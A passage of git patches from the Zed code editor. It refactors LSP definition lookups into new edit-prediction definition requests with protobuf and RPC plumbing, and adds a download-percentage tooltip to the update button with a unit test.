+        edit_prediction_definitions_from_proto(message.definitions)
+    }
+
+    fn buffer_id_from_proto(message: &proto::GetEditPredictionTypeDefinition) -> Result<BufferId> {
+        BufferId::new(message.buffer_id)
+    }
+}
+
 fn language_server_for_buffer(
     lsp_store: &Entity<LspStore>,
     buffer: &Entity<Buffer>,
@@ -1165,57 +1365,13 @@ pub async fn location_links_from_lsp(
     lsp_store: Entity<LspStore>,
     buffer: Entity<Buffer>,
     server_id: LanguageServerId,
-    workspace_only: bool,
     mut cx: AsyncApp,
 ) -> Result<Vec<LocationLink>> {
-    let message = match message {
-        Some(message) => message,
-        None => return Ok(Vec::new()),
-    };
-
-    let mut unresolved_links = Vec::new();
-    match message {
-        lsp::GotoDefinitionResponse::Scalar(loc) => {
-            unresolved_links.push((None, loc.uri, loc.range));
-        }
-
-        lsp::GotoDefinitionResponse::Array(locs) => {
-            unresolved_links.extend(locs.into_iter().map(|l| (None, l.uri, l.range)));
-        }
-
-        lsp::GotoDefinitionResponse::Link(links) => {
-            unresolved_links.extend(links.into_iter().map(|l| {
-                (
-                    l.origin_selection_range,
-                    l.target_uri,
-                    l.target_selection_range,
-                )
-            }));
-        }
-    }
+    let unresolved_links = definition_locations_from_lsp(message);
 
     let (_, language_server) = language_server_for_buffer(&lsp_store, &buffer, server_id, &mut cx)?;
     let mut definitions = Vec::new();
     for (origin_range, target_uri, target_range) in unresolved_links {
-        if workspace_only
-            && !lsp_store.update(&mut cx, |this, cx| {
-                use util::paths::UrlExt as _;
-                let worktree_store = this.worktree_store().read(cx);
-                let path_style = worktree_store.path_style();
-                let Ok(abs_path) = target_uri.clone().to_file_path_ext(path_style) else {
-                    return false;
-                };
-                worktree_store
-                    .find_worktree(&abs_path, cx)
-                    .is_some_and(|(worktree, _)| {
-                        let worktree = worktree.read(cx);
-                        worktree.is_visible() && !worktree.is_single_file()
-                    })
-            })
-        {
-            continue;
-        }
-
         let target_buffer_handle = lsp_store
             .update(&mut cx, |this, cx| {
                 this.open_local_buffer_via_lsp(target_uri, language_server.server_id(), cx)
@@ -1256,6 +1412,94 @@ pub async fn location_links_from_lsp(
     Ok(definitions)
 }
 
+fn definition_locations_from_lsp(
+    message: Option<lsp::GotoDefinitionResponse>,
+) -> Vec<(Option<lsp::Range>, lsp::Uri, lsp::Range)> {
+    let Some(message) = message else {
+        return Vec::new();
+    };
+
+    let mut locations = Vec::new();
+    match message {
+        lsp::GotoDefinitionResponse::Scalar(location) => {
+            locations.push((None, location.uri, location.range));
+        }
+
+        lsp::GotoDefinitionResponse::Array(locations_from_lsp) => {
+            locations.extend(
+                locations_from_lsp
+                    .into_iter()
+                    .map(|location| (None, location.uri, location.range)),
+            );
+        }
+
+        lsp::GotoDefinitionResponse::Link(links) => {
+            locations.extend(links.into_iter().map(|link| {
+                (
+                    link.origin_selection_range,
+                    link.target_uri,
+                    link.target_selection_range,
+                )
+            }));
+        }
+    }
+    locations
+}
+
+fn edit_prediction_definitions_from_lsp(
+    message: Option<lsp::GotoDefinitionResponse>,
+    lsp_store: Entity<LspStore>,
+    mut cx: AsyncApp,
+) -> Result<Vec<EditPredictionDefinition>> {
+    let unresolved_locations = definition_locations_from_lsp(message);
+    lsp_store.update(&mut cx, |lsp_store, cx| {
+        use util::paths::UrlExt as _;
+        let mut definitions = Vec::new();
+        let worktree_store = lsp_store.worktree_store().read(cx);
+        let path_style = worktree_store.path_style();
+
+        for (_, uri, range) in unresolved_locations {
+            let Ok(abs_path) = uri.to_file_path_ext(path_style) else {
+                continue;
+            };
+            let Some((worktree, relative_path)) = worktree_store.find_worktree(&abs_path, cx)
+            else {
+                continue;
+            };
+            let worktree = worktree.read(cx);
+            if !worktree.is_visible() || worktree.is_single_file() {
+                continue;
+            }
+            definitions.push(EditPredictionDefinition {
+                path: ProjectPath {
+                    worktree_id: worktree.id(),
+                    path: relative_path,
+                },
+                range: point_from_lsp(range.start)..point_from_lsp(range.end),
+            });
+        }
+
+        Ok(definitions)
+    })
+}
+
+async fn edit_prediction_position_from_proto(
+    position: Option<proto::Anchor>,
+    version: Vec<proto::VectorClockEntry>,
+    buffer: Entity<Buffer>,
+    cx: &mut AsyncApp,
+) -> Result<PointUtf16> {
+    let position = position
+        .and_then(deserialize_anchor)
+        .context("invalid position")?;
+    buffer
+        .update(cx, |buffer, _| {
+            buffer.wait_for_version(deserialize_version(&version))
+        })
+        .await?;
+    Ok(buffer.read_with(cx, |buffer, _| position.to_point_utf16(buffer)))
+}
+
 pub async fn location_link_from_lsp(
     link: lsp::LocationLink,
     lsp_store: &Entity<LspStore>,
@@ -1363,6 +1607,46 @@ pub fn location_link_to_proto(
     }
 }
 
+fn edit_prediction_definitions_to_proto(
+    definitions: Vec<EditPredictionDefinition>,
+) -> Vec<proto::EditPredictionDefinition> {
+    definitions
+        .into_iter()
+        .map(|definition| proto::EditPredictionDefinition {
+            worktree_id: definition.path.worktree_id.to_proto(),
+            path: definition.path.path.as_ref().to_proto(),
+            start: Some(proto::PointUtf16 {
+                row: definition.range.start.0.row,
+                column: definition.range.start.0.column,
+            }),
+            end: Some(proto::PointUtf16 {
+                row: definition.range.end.0.row,
+                column: definition.range.end.0.column,
+            }),
+        })
+        .collect()
+}
+
+fn edit_prediction_definitions_from_proto(
+    definitions: Vec<proto::EditPredictionDefinition>,
+) -> Result<Vec<EditPredictionDefinition>> {
+    definitions
+        .into_iter()
+        .map(|definition| {
+            let start = definition.start.context("missing definition start")?;
+            let end = definition.end.context("missing definition end")?;
+            Ok(EditPredictionDefinition {
+                path: ProjectPath {
+                    worktree_id: worktree::WorktreeId::from_proto(definition.worktree_id),
+                    path: RelPath::from_proto(&definition.path).context("invalid path")?,
+                },
+                range: Unclipped(PointUtf16::new(start.row, start.column))
+                    ..Unclipped(PointUtf16::new(end.row, end.column)),
+            })
+        })
+        .collect()
+}
+
 #[async_trait(?Send)]
 impl LspCommand for GetReferences {
     type Response = Vec<Location>;
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 0500d15c33ec6a..71d5b30cf88ee7 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -6171,31 +6171,9 @@ impl LspStore {
         buffer: &Entity<Buffer>,
         position: PointUtf16,
         cx: &mut Context<Self>,
-    ) -> Task<Result<Option<Vec<LocationLink>>>> {
-        self.definitions_with_filter(buffer, position, false, cx)
-    }
-
-    pub fn workspace_definitions(
-        &mut self,
-        buffer: &Entity<Buffer>,
-        position: PointUtf16,
-        cx: &mut Context<Self>,
-    ) -> Task<Result<Option<Vec<LocationLink>>>> {
-        self.definitions_with_filter(buffer, position, true, cx)
-    }
-
-    fn definitions_with_filter(
-        &mut self,
-        buffer: &Entity<Buffer>,
-        position: PointUtf16,
-        workspace_only: bool,
-        cx: &mut Context<Self>,
     ) -> Task<Result<Option<Vec<LocationLink>>>> {
         if let Some((upstream_client, project_id)) = self.upstream_client() {
-            let request = GetDefinitions {
-                position,
-                workspace_only,
-            };
+            let request = GetDefinitions { position };
             if !self.is_capable_for_proto_request(buffer, &request, cx) {
                 return Task::ready(Ok(None));
             }
@@ -6220,11 +6198,7 @@ impl LspStore {
                     return Ok(None);
                 };
                 let actions = join_all(responses.payload.into_iter().map(|response| {
-                    GetDefinitions {
-                        position,
-                        workspace_only,
-                    }
-                    .response_from_proto(
+                    GetDefinitions { position }.response_from_proto(
                         response.response,
                         lsp_store.clone(),
                         buffer.clone(),
@@ -6247,10 +6221,7 @@ impl LspStore {
             let definitions_task = self.request_multiple_lsp_locally(
                 buffer,
                 Some(position),
-                GetDefinitions {
-                    position,
-                    workspace_only,
-                },
+                GetDefinitions { position },
                 cx,
             );
             cx.background_spawn(async move {
@@ -6266,6 +6237,107 @@ impl LspStore {
         }
     }
 
+    fn edit_prediction_definitions_for_command<C>(
+        &mut self,
+        buffer: &Entity<Buffer>,
+        request: C,
+        position: PointUtf16,
+        cx: &mut Context<Self>,
+    ) -> Task<Result<Vec<EditPredictionDefinition>>>
+    where
+        C: LspCommand<Response = Vec<EditPredictionDefinition>> + Clone,
+        C::ProtoRequest: proto::LspRequestMessage,
+        <C::ProtoRequest as proto::LspRequestMessage>::Response:
+            Into<<C::ProtoRequest as proto::RequestMessage>::Response>,
+        <C::LspRequest as lsp::request::Request>::Result: Send,
+        <C::LspRequest as lsp::request::Request>::Params: Send,
+    {
+        if let Some((upstream_client, project_id)) = self.upstream_client() {
+            if !self.is_capable_for_proto_request(buffer, &request, cx) {
+                return Task::ready(Ok(Vec::new()));
+            }
+
+            let request_timeout = ProjectSettings::get_global(cx)
+                .global_lsp_settings
+                .get_request_timeout();
+
+            let request_task = upstream_client.request_lsp(
+                project_id,
+                None,
+                request_timeout,
+                cx.background_executor().clone(),
+                request.to_proto(project_id, buffer.read(cx)),
+            );
+            let buffer = buffer.clone();
+            cx.spawn(async move |weak_lsp_store, cx| {
+                let Some(lsp_store) = weak_lsp_store.upgrade() else {
+                    return Ok(Vec::new());
+                };
+                let Some(responses) = request_task.await? else {
+                    return Ok(Vec::new());
+                };
+                let actions = join_all(responses.payload.into_iter().map(|response| {
+                    request.clone().response_from_proto(
+                        response.response.into(),
+                        lsp_store.clone(),
+                        buffer.clone(),
+                        cx.clone(),
+                    )
+                }))
+                .await;
+
+                Ok(actions
+                    .into_iter()
+                    .collect::<Result<Vec<Vec<_>>>>()?
+                    .into_iter()
+                    .flatten()
+                    .collect())
+            })
+        } else {
+            let definitions_task =
+                self.request_multiple_lsp_locally(buffer, Some(position), request, cx);
+            cx.background_spawn(async move {
+                Ok(definitions_task
+                    .await
+                    .into_iter()
+                    .flat_map(|(_, definitions)| definitions)
+                    .collect())
+            })
+        }
+    }
+
+    pub fn edit_prediction_definitions(
+        &mut self,
+        buffer: &Entity<Buffer>,
+        position: PointUtf16,
+        include_type_definitions: bool,
+        cx: &mut Context<Self>,
+    ) -> Task<Result<Vec<EditPredictionDefinition>>> {
+        let definitions = self.edit_prediction_definitions_for_command(
+            buffer,
+            GetEditPredictionDefinitions { position },
+            position,
+            cx,
+        );
+        let type_definitions = include_type_definitions.then(|| {
+            self.edit_prediction_definitions_for_command(
+                buffer,
+                GetEditPredictionTypeDefinitions { position },
+                position,
+                cx,
+            )
+        });
+        cx.background_spawn(async move {
+            let mut merged = definitions.await?;
+            if let Some(type_definitions) = type_definitions {
+                merged.extend(type_definitions.await?);
+            }
+            let mut seen = HashSet::default();
+            merged.retain(|definition| seen.insert(definition.clone()));
+            Ok(merged)
+        })
+    }
+
     pub fn declarations(
         &mut self,
         buffer: &Entity<Buffer>,
@@ -6340,31 +6412,9 @@ impl LspStore {
         buffer: &Entity<Buffer>,
         position: PointUtf16,
         cx: &mut Context<Self>,
-    ) -> Task<Result<Option<Vec<LocationLink>>>> {
-        self.type_definitions_with_filter(buffer, position, false, cx)
-    }
-
-    pub fn workspace_type_definitions(
-        &mut self,
-        buffer: &Entity<Buffer>,
-        position: PointUtf16,
-        cx: &mut Context<Self>,
-    ) -> Task<Result<Option<Vec<LocationLink>>>> {
-        self.type_definitions_with_filter(buffer, position, true, cx)
-    }
-
-    fn type_definitions_with_filter(
-        &mut self,
-        buffer: &Entity<Buffer>,
-        position: PointUtf16,
-        workspace_only: bool,
-        cx: &mut Context<Self>,
     ) -> Task<Result<Option<Vec<LocationLink>>>> {
         if let Some((upstream_client, project_id)) = self.upstream_client() {
-            let request = GetTypeDefinitions {
-                position,
-                workspace_only,
-            };
+            let request = GetTypeDefinitions { position };
             if !self.is_capable_for_proto_request(buffer, &request, cx) {
                 return Task::ready(Ok(None));
             }
@@ -6387,11 +6437,7 @@ impl LspStore {
                     return Ok(None);
                 };
                 let actions = join_all(responses.payload.into_iter().map(|response| {
-                    GetTypeDefinitions {
-                        position,
-                        workspace_only,
-                    }
-                    .response_from_proto(
+                    GetTypeDefinitions { position }.response_from_proto(
                         response.response,
                         lsp_store.clone(),
                         buffer.clone(),
@@ -6414,10 +6460,7 @@ impl LspStore {
             let type_definitions_task = self.request_multiple_lsp_locally(
                 buffer,
                 Some(position),
-                GetTypeDefinitions {
-                    position,
-                    workspace_only,
-                },
+                GetTypeDefinitions { position },
                 cx,
             );
             cx.background_spawn(async move {
@@ -9615,6 +9658,22 @@ impl LspStore {
                 )
                 .await?;
             }
+            Request::GetEditPredictionDefinition(get_edit_prediction_definition) => {
+                let position = get_edit_prediction_definition
+                    .position
+                    .clone()
+                    .and_then(deserialize_anchor);
+                Self::query_lsp_locally::<GetEditPredictionDefinitions>(
+                    lsp_store,
+                    server_id,
+                    sender_id,
+                    lsp_request_id,
+                    get_edit_prediction_definition,
+                    position,
+                    &mut cx,
+                )
+                .await?;
+            }
             Request::GetDeclaration(get_declaration) => {
                 let position = get_declaration
                     .position
@@ -9647,6 +9706,22 @@ impl LspStore {
                 )
                 .await?;
             }
+            Request::GetEditPredictionTypeDefinition(get_edit_prediction_type_definition) => {
+                let position = get_edit_prediction_type_definition
+                    .position
+                    .clone()
+                    .and_then(deserialize_anchor);
+                Self::query_lsp_locally::<GetEditPredictionTypeDefinitions>(
+                    lsp_store,
+                    server_id,
+                    sender_id,
+                    lsp_request_id,
+                    get_edit_prediction_type_definition,
+                    position,
+                    &mut cx,
+                )
+                .await?;
+            }
             Request::GetImplementation(get_implementation) => {
                 let position = get_implementation
                     .position
diff --git a/crates/project/src/lsp_store/lsp_ext_command.rs b/crates/project/src/lsp_store/lsp_ext_command.rs
index dd7010275dc59f..bb994492d00f94 100644
--- a/crates/project/src/lsp_store/lsp_ext_command.rs
+++ b/crates/project/src/lsp_store/lsp_ext_command.rs
@@ -443,7 +443,6 @@ impl LspCommand for GoToParentModule {
             lsp_store,
             buffer,
             server_id,
-            false,
             cx,
         )
         .await
diff --git a/crates/project/src/project.rs b/crates/project/src/project.rs
index 5f104cf312800b..722b712f1550b6 100644
--- a/crates/project/src/project.rs
+++ b/crates/project/src/project.rs
@@ -99,6 +99,7 @@ use lsp::{
     LanguageServerBinary, LanguageServerId, LanguageServerName, LanguageServerSelector,
     MessageActionItem,
 };
+pub use lsp_command::EditPredictionDefinition;
 use lsp_command::*;
 use lsp_store::{CompletionDocumentation, LspFormatTarget, OpenLspBufferHandle};
 pub use manifest_tree::ManifestProvidersStore;
@@ -4287,21 +4288,16 @@ impl Project {
         })
     }
 
-    pub fn workspace_definitions<T: ToPointUtf16>(
+    pub fn edit_prediction_definitions<T: ToPointUtf16>(
         &mut self,
         buffer: &Entity<Buffer>,
         position: T,
+        include_type_definitions: bool,
         cx: &mut Context<Self>,
-    ) -> Task<Result<Option<Vec<LocationLink>>>> {
+    ) -> Task<Result<Vec<EditPredictionDefinition>>> {
         let position = position.to_point_utf16(buffer.read(cx));
-        let guard = self.retain_remotely_created_models(cx);
-        let task = self.lsp_store.update(cx, |lsp_store, cx| {
-            lsp_store.workspace_definitions(buffer, position, cx)
-        });
-        cx.background_spawn(async move {
-            let result = task.await;
-            drop(guard);
-            result
+        self.lsp_store.update(cx, |lsp_store, cx| {
+            lsp_store.edit_prediction_definitions(buffer, position, include_type_definitions, cx)
         })
     }
 
@@ -4341,24 +4337,6 @@ impl Project {
         })
     }
 
-    pub fn workspace_type_definitions<T: ToPointUtf16>(
-        &mut self,
-        buffer: &Entity<Buffer>,
-        position: T,
-        cx: &mut Context<Self>,
-    ) -> Task<Result<Option<Vec<LocationLink>>>> {
-        let position = position.to_point_utf16(buffer.read(cx));
-        let guard = self.retain_remotely_created_models(cx);
-        let task = self.lsp_store.update(cx, |lsp_store, cx| {
-            lsp_store.workspace_type_definitions(buffer, position, cx)
-        });
-        cx.background_spawn(async move {
-            let result = task.await;
-            drop(guard);
-            result
-        })
-    }
-
     pub fn implementations<T: ToPointUtf16>(
         &mut self,
         buffer: &Entity<Buffer>,
diff --git a/crates/proto/proto/lsp.proto b/crates/proto/proto/lsp.proto
index 33198b30acdac5..cf7c2b97661a6d 100644
--- a/crates/proto/proto/lsp.proto
+++ b/crates/proto/proto/lsp.proto
@@ -8,13 +8,31 @@ message GetDefinition {
   uint64 buffer_id = 2;
   Anchor position = 3;
   repeated VectorClockEntry version = 4;
-  bool workspace_only = 5;
+  reserved 5;
 }
 
 message GetDefinitionResponse {
   repeated LocationLink links = 1;
 }
 
+message GetEditPredictionDefinition {
+  uint64 project_id = 1;
+  uint64 buffer_id = 2;
+  Anchor position = 3;
+  repeated VectorClockEntry version = 4;
+}
+
+message GetEditPredictionDefinitionResponse {
+  repeated EditPredictionDefinition definitions = 1;
+}
+
+message EditPredictionDefinition {
+  uint64 worktree_id = 1;
+  string path = 2;
+  PointUtf16 start = 3;
+  PointUtf16 end = 4;
+}
+
 message GetDeclaration {
   uint64 project_id = 1;
   uint64 buffer_id = 2;
@@ -31,12 +49,24 @@ message GetTypeDefinition {
   uint64 buffer_id = 2;
   Anchor position = 3;
   repeated VectorClockEntry version = 4;
-  bool workspace_only = 5;
+  reserved 5;
 }
 
 message GetTypeDefinitionResponse {
   repeated LocationLink links = 1;
 }
+
+message GetEditPredictionTypeDefinition {
+  uint64 project_id = 1;
+  uint64 buffer_id = 2;
+  Anchor position = 3;
+  repeated VectorClockEntry version = 4;
+}
+
+message GetEditPredictionTypeDefinitionResponse {
+  repeated EditPredictionDefinition definitions = 1;
+}
+
 message GetImplementation {
   uint64 project_id = 1;
   uint64 buffer_id = 2;
@@ -897,6 +927,8 @@ message LspQuery {
     GetFoldingRanges get_folding_ranges = 17;
     GetDocumentSymbols get_document_symbols = 18;
     GetDocumentLinks get_document_links = 19;
+    GetEditPredictionDefinition get_edit_prediction_definition = 20;
+    GetEditPredictionTypeDefinition get_edit_prediction_type_definition = 21;
   }
 }
 
@@ -924,6 +956,8 @@ message LspResponse {
     GetFoldingRangesResponse get_folding_ranges_response = 15;
     GetDocumentSymbolsResponse get_document_symbols_response = 16;
     GetDocumentLinksResponse get_document_links_response = 17;
+    GetEditPredictionDefinitionResponse get_edit_prediction_definition_response = 18;
+    GetEditPredictionTypeDefinitionResponse get_edit_prediction_type_definition_response = 19;
   }
   uint64 server_id = 7;
 }
diff --git a/crates/proto/proto/zed.proto b/crates/proto/proto/zed.proto
index 2a196e86e86c18..07ec0046747158 100644
--- a/crates/proto/proto/zed.proto
+++ b/crates/proto/proto/zed.proto
@@ -59,6 +59,10 @@ message Envelope {
 
     GetDefinition get_definition = 32;
     GetDefinitionResponse get_definition_response = 33;
+    GetEditPredictionDefinition get_edit_prediction_definition = 462;
+    GetEditPredictionDefinitionResponse get_edit_prediction_definition_response = 463;
+    GetEditPredictionTypeDefinition get_edit_prediction_type_definition = 464;
+    GetEditPredictionTypeDefinitionResponse get_edit_prediction_type_definition_response = 465; // current max
     GetDeclaration get_declaration = 237;
     GetDeclarationResponse get_declaration_response = 238;
     GetTypeDefinition get_type_definition = 34;
@@ -489,7 +493,7 @@ message Envelope {
     GitWorktreeCreatedAtResponse git_worktree_created_at_response = 458;
     TelemetryEvent telemetry_event = 459;
     ResolveCodeAction resolve_code_action = 460;
-    ResolveCodeActionResponse resolve_code_action_response = 461; // current max
+    ResolveCodeActionResponse resolve_code_action_response = 461;
   }
 
   reserved 87 to 88;
diff --git a/crates/proto/src/proto.rs b/crates/proto/src/proto.rs
index 3fbd23527579e2..f7dd604d82d5fa 100644
--- a/crates/proto/src/proto.rs
+++ b/crates/proto/src/proto.rs
@@ -94,6 +94,10 @@ messages!(
     (GetDeclarationResponse, Background),
     (GetDefinition, Background),
     (GetDefinitionResponse, Background),
+    (GetEditPredictionDefinition, Background),
+    (GetEditPredictionDefinitionResponse, Background),
+    (GetEditPredictionTypeDefinition, Background),
+    (GetEditPredictionTypeDefinitionResponse, Background),
     (GetDocumentHighlights, Background),
     (GetDocumentHighlightsResponse, Background),
     (GetDocumentSymbols, Background),
@@ -415,6 +419,14 @@ request_messages!(
     (GetCodeActions, GetCodeActionsResponse),
     (GetCompletions, GetCompletionsResponse),
     (GetDefinition, GetDefinitionResponse),
+    (
+        GetEditPredictionDefinition,
+        GetEditPredictionDefinitionResponse
+    ),
+    (
+        GetEditPredictionTypeDefinition,
+        GetEditPredictionTypeDefinitionResponse
+    ),
     (GetDeclaration, GetDeclarationResponse),
     (GetImplementation, GetImplementationResponse),
     (GetDocumentHighlights, GetDocumentHighlightsResponse),
@@ -610,6 +622,16 @@ lsp_messages!(
     (GetCodeLens, GetCodeLensResponse, true),
     (GetDocumentDiagnostics, GetDocumentDiagnosticsResponse, true),
     (GetDefinition, GetDefinitionResponse, true),
+    (
+        GetEditPredictionDefinition,
+        GetEditPredictionDefinitionResponse,
+        true
+    ),
+    (
+        GetEditPredictionTypeDefinition,
+        GetEditPredictionTypeDefinitionResponse,
+        true
+    ),
     (GetDeclaration, GetDeclarationResponse, true),
     (GetTypeDefinition, GetTypeDefinitionResponse, true),
     (GetImplementation, GetImplementationResponse, true),
@@ -650,6 +672,8 @@ entity_messages!(
     GetCodeLens,
     GetCompletions,
     GetDefinition,
+    GetEditPredictionDefinition,
+    GetEditPredictionTypeDefinition,
     GetDeclaration,
     GetImplementation,
     GetDocumentHighlights,
@@ -987,6 +1011,12 @@ impl LspQuery {
                 ("GetDocumentDiagnostics", false)
             }
             Some(lsp_query::Request::GetDefinition(_)) => ("GetDefinition", false),
+            Some(lsp_query::Request::GetEditPredictionDefinition(_)) => {
+                ("GetEditPredictionDefinition", false)
+            }
+            Some(lsp_query::Request::GetEditPredictionTypeDefinition(_)) => {
+                ("GetEditPredictionTypeDefinition", false)
+            }
             Some(lsp_query::Request::GetDeclaration(_)) => ("GetDeclaration", false),
             Some(lsp_query::Request::GetTypeDefinition(_)) => ("GetTypeDefinition", false),
             Some(lsp_query::Request::GetImplementation(_)) => ("GetImplementation", false),
diff --git a/crates/rpc/src/proto_client.rs b/crates/rpc/src/proto_client.rs
index be3d418c9e95b5..d1cdd8d9e512aa 100644
--- a/crates/rpc/src/proto_client.rs
+++ b/crates/rpc/src/proto_client.rs
@@ -396,12 +396,18 @@ impl AnyProtoClient {
                             Response::GetDefinitionResponse(response) => {
                                 to_any_envelope(&envelope, response)
                             }
+                            Response::GetEditPredictionDefinitionResponse(response) => {
+                                to_any_envelope(&envelope, response)
+                            }
                             Response::GetDeclarationResponse(response) => {
                                 to_any_envelope(&envelope, response)
                             }
                             Response::GetTypeDefinitionResponse(response) => {
                                 to_any_envelope(&envelope, response)
                             }
+                            Response::GetEditPredictionTypeDefinitionResponse(response) => {
+                                to_any_envelope(&envelope, response)
+                            }
                             Response::GetImplementationResponse(response) => {
                                 to_any_envelope(&envelope, response)
                             }

From 88ce2d526eac922cf5d3d1b04d2048205af24769 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Wed, 15 Jul 2026 10:39:33 +0300
Subject: [PATCH 467/772] Show download percentage in download button's tooltip
 (#60990)

Closes https://github.com/zed-industries/zed/discussions/60944

<img width="568" height="143" alt="downloads"
src="https://github.com/user-attachments/assets/e5643106-a0c9-496c-bff2-300faad38839"
/>



Release Notes:

- Started to show download percentage in download button's tooltip
---
 Cargo.lock                                    |   2 +
 crates/title_bar/src/update_version.rs        |  34 ++++-
 crates/ui/Cargo.toml                          |   2 +
 .../ui/src/components/collab/update_button.rs | 137 ++++++++++++++++--
 4 files changed, 159 insertions(+), 16 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index e6ef165bba8ed8..31c56677ac11da 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -19697,9 +19697,11 @@ dependencies = [
  "num-format",
  "schemars 1.0.4",
  "serde",
+ "settings",
  "smallvec",
  "strum 0.27.2",
  "theme",
+ "theme_settings",
  "ui_macros",
  "windows 0.61.3",
 ]
diff --git a/crates/title_bar/src/update_version.rs b/crates/title_bar/src/update_version.rs
index 876c00b9ba6722..e90764ab81e778 100644
--- a/crates/title_bar/src/update_version.rs
+++ b/crates/title_bar/src/update_version.rs
@@ -4,7 +4,7 @@ use anyhow::anyhow;
 use auto_update::{AutoUpdateStatus, AutoUpdater, UpdateCheckType};
 use gpui::{Empty, Render};
 use semver::Version;
-use ui::{UpdateButton, prelude::*};
+use ui::{Tooltip, UpdateButton, prelude::*};
 
 pub struct UpdateVersion {
     status: AutoUpdateStatus,
@@ -82,7 +82,7 @@ impl UpdateVersion {
     }
 
     fn version_tooltip_message(version: &Version) -> String {
-        format!("Update to Version: {version}")
+        UpdateButton::version_tooltip_message(version)
     }
 }
 
@@ -96,8 +96,20 @@ impl Render for UpdateVersion {
                 UpdateButton::checking().into_any_element()
             }
             AutoUpdateStatus::Downloading { version, progress } => {
-                let version = Self::version_tooltip_message(version);
-                UpdateButton::downloading(version, *progress).into_any_element()
+                let rendered_version = version.clone();
+                let tooltip = Tooltip::element(move |_, cx| {
+                    let status = AutoUpdater::get(cx).map(|updater| updater.read(cx).status());
+                    let message = match &status {
+                        Some(AutoUpdateStatus::Downloading { version, progress }) => {
+                            UpdateButton::downloading_tooltip_message(version, *progress)
+                        }
+                        _ => Self::version_tooltip_message(&rendered_version),
+                    };
+                    Label::new(message).into_any_element()
+                });
+                UpdateButton::downloading(*progress)
+                    .tooltip_fn(tooltip)
+                    .into_any_element()
             }
             AutoUpdateStatus::Installing { version } => {
                 let version = Self::version_tooltip_message(version);
@@ -148,4 +160,18 @@ mod tests {
             "Update to Version: 1.0.0+nightly.14d9a4189f058d8736339b06ff2340101eaea5af"
         );
     }
+
+    #[test]
+    fn test_downloading_tooltip_message() {
+        let version = Version::new(1, 0, 0);
+
+        let message = UpdateButton::downloading_tooltip_message(&version, None);
+        assert_eq!(message, "Update to Version: 1.0.0");
+
+        let message = UpdateButton::downloading_tooltip_message(&version, Some(0.454));
+        assert_eq!(message, "Update to Version: 1.0.0 (45% downloaded)");
+
+        let message = UpdateButton::downloading_tooltip_message(&version, Some(1.5));
+        assert_eq!(message, "Update to Version: 1.0.0 (100% downloaded)");
+    }
 }
diff --git a/crates/ui/Cargo.toml b/crates/ui/Cargo.toml
index 7999a300648721..ac9a2bbc60c46c 100644
--- a/crates/ui/Cargo.toml
+++ b/crates/ui/Cargo.toml
@@ -36,6 +36,8 @@ windows.workspace = true
 
 [dev-dependencies]
 gpui = { workspace = true, features = ["test-support"] }
+settings = { workspace = true, features = ["test-support"] }
+theme_settings.workspace = true
 
 [package.metadata.cargo-machete]
 ignored = ["log"]
diff --git a/crates/ui/src/components/collab/update_button.rs b/crates/ui/src/components/collab/update_button.rs
index 38d6a169341385..0b94072e901f0f 100644
--- a/crates/ui/src/components/collab/update_button.rs
+++ b/crates/ui/src/components/collab/update_button.rs
@@ -1,4 +1,4 @@
-use gpui::{AnyElement, ClickEvent, prelude::*};
+use gpui::{AnyElement, AnyView, ClickEvent, prelude::*};
 
 use crate::{ButtonLike, CircularProgress, CommonAnimationExt, Tooltip, prelude::*};
 
@@ -13,7 +13,7 @@ pub struct UpdateButton {
     icon_animate: bool,
     icon_color: Option<Color>,
     message: SharedString,
-    tooltip: Option<SharedString>,
+    tooltip: Option<Box<dyn Fn(&mut Window, &mut App) -> AnyView + 'static>>,
     disabled: bool,
     show_dismiss: bool,
     progress: Option<f32>,
@@ -51,7 +51,17 @@ impl UpdateButton {
 
     /// Sets the tooltip text shown on hover.
     pub fn tooltip(mut self, tooltip: impl Into<SharedString>) -> Self {
-        self.tooltip = Some(tooltip.into());
+        self.tooltip = Some(Box::new(Tooltip::text(tooltip.into())));
+        self
+    }
+
+    /// Sets a tooltip builder invoked on every render, so the tooltip can
+    /// display content that changes while it stays visible.
+    pub fn tooltip_fn(
+        mut self,
+        tooltip: impl Fn(&mut Window, &mut App) -> AnyView + 'static,
+    ) -> Self {
+        self.tooltip = Some(Box::new(tooltip));
         self
     }
 
@@ -95,9 +105,8 @@ impl UpdateButton {
             .disabled(true)
     }
 
-    pub fn downloading(version: impl Into<SharedString>, progress: Option<f32>) -> Self {
+    pub fn downloading(progress: Option<f32>) -> Self {
         Self::new(IconName::Download, "Downloading Zed Update…")
-            .tooltip(version)
             .progress(progress)
             .disabled(true)
     }
@@ -121,6 +130,24 @@ impl UpdateButton {
             .tooltip(error)
             .with_dismiss()
     }
+
+    pub fn version_tooltip_message(version: impl std::fmt::Display) -> String {
+        format!("Update to Version: {version}")
+    }
+
+    pub fn downloading_tooltip_message(
+        version: impl std::fmt::Display,
+        progress: Option<f32>,
+    ) -> String {
+        let message = Self::version_tooltip_message(version);
+        match progress {
+            Some(progress) => format!(
+                "{message} ({:.0}% downloaded)",
+                progress.clamp(0.0, 1.0) * 100.0
+            ),
+            None => message,
+        }
+    }
 }
 
 impl RenderOnce for UpdateButton {
@@ -154,7 +181,10 @@ impl RenderOnce for UpdateButton {
             }
         };
 
-        let tooltip = self.tooltip.clone();
+        let tooltip = self.tooltip;
+
+        let button_id = ElementId::Name(self.message.clone());
+        let dismiss_button_id = ElementId::Name(format!("dismiss-{}", self.message).into());
 
         let label_row = h_flex()
             .h_full()
@@ -168,18 +198,16 @@ impl RenderOnce for UpdateButton {
             .border_1()
             .border_color(border_color)
             .child(
-                ButtonLike::new("update-button")
+                ButtonLike::new(button_id)
                     .child(label_row)
-                    .when_some(tooltip, |this, tooltip| {
-                        this.tooltip(Tooltip::text(tooltip))
-                    })
+                    .when_some(tooltip, |this, tooltip| this.tooltip(tooltip))
                     .disabled(self.disabled)
                     .when_some(self.on_click, |this, handler| this.on_click(handler)),
             )
             .when(self.show_dismiss, |this| {
                 this.child(
                     div().border_l_1().border_color(border_color).child(
-                        IconButton::new("dismiss-update-button", IconName::Close)
+                        IconButton::new(dismiss_button_id, IconName::Close)
                             .icon_size(IconSize::Indicator)
                             .when_some(self.on_dismiss, |this, handler| this.on_click(handler))
                             .tooltip(Tooltip::text("Dismiss")),
